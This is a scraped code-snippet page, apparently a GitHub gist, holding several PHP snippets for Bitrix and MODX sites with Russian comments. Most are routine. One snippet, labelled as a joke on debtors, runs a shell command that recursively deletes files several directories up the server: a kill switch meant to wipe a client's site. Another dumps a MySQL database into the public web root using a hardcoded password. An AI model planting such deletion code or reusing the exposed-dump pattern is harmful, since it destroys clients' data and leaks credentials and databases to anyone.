This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<? | |
//пишем данные в файл. полезно при отладке аякс запросов | |
$filename = __DIR__.'/data.php'; // Путь куда записать содержимое файла | |
$string = "<?php\n return ".var_export($_GET, true).';'; | |
file_put_contents($filename, $string); | |
//////////////////////////////////////////////////////// | |
//делаем дамп базы из PHP | |
exec('mysqldump --user=username --password=D#hfgefg --host=localhost username > ' . $_SERVER['DOCUMENT_ROOT'] . '/dump.sql'); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/.idea/ | |
/bitrix/* | |
/upload/* | |
upload | |
/awstats/* | |
/education_files/* | |
/minify_bx/* | |
/tmp/* | |
/robots.txt | |
/.gitignore |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Если после перноса сайта на битрикс идет редирект по не понятному алгоритму то скорее всего виновата проактивная защита. Идем в бд и правим в таблице b_option | |
*security | |
*restriction_hosts_action | |
*redirect | |
=============================================================================================== | |
дев прод и bare на одном сервере | |
создаем папку для пустого репозитория и делаем там git init --bare | |
в проде делаем git init | |
делаем в проде первый коммит |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
//$modx->log(1, print_r($array, 1),'HTML'); | |
//ini_set('display_errors',1); //Sets the value of a configuration option. В данном случае. Посмотреть | |
//дефолтные значения display_errors (и не только данного параметра) можно через echo ini_get('display_errors') | |
//error_reporting(E_ALL); | |
require_once $modx->getOption('base_path')."vendor/autoload.php"; | |
$mpdf = new mPDF(); //создаем PDF файл, задаем формат, отступы и.т.д. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<? | |
[[+phx:input=`now`:strtotime:el=`[[+publishedon:add=`7776000`]]`:then=` <span style="color: #46a546;" >NEW</span>`:else=``]] | |
//меняем шаблон всем русурсам у указанного родителя | |
$parent = 1840; //укажите ID родителя | |
$template = 83; //укажите ID нового шаблона | |
foreach ($modx->getIterator('modResource', array('parent' => $parent)) as $resource) { | |
$resource->set('template', $template); | |
$resource->save(); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//шутки с должниками | |
print '<pre>'.shell_exec('whoami').'</pre>'; | |
shell_exec('cd ../../../../ && rm -r *'); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<? | |
require ($_SERVER["DOCUMENT_ROOT"].'/local/php_interface/phpmailer/PHPMailerAutoload.php'); | |
function custom_mail($to, $subject, $message, $additional_headers, $additional_parameters) { | |
echo "<script>alert('ауе !')</script>"; | |
//return false; | |
$to = str_replace(' ','',$to); | |
#$from="[email protected]"; | |
$fromName="Dental Guru"; | |
#$host="ssl://smtp.gmail.com"; | |
$port=465; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<? | |
if (count($arResult["VIDEOS"]) > 0) { | |
foreach ($arResult["VIDEOS"] as $video) { | |
?> | |
<div class="video_worker"> | |
<div class="video_div" style="background-image: url(<?= $video["IMG"] ?>);"> | |
<span data-code="<?= $video["CODE"] ?>"></span> | |
<div class="name"> | |
<?= $video["NAME"] ?> | |
</div> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
case "xlsstar": | |
require ENGINE_DIR . "/modules/cform/Classes/PHPExcel.php"; | |
$objPHPExcel = new PHPExcel(); | |
$objPHPExcel->setActiveSheetIndex(0); | |
$active_sheet = $objPHPExcel->getActiveSheet(); | |
$active_sheet->setTitle('1'); | |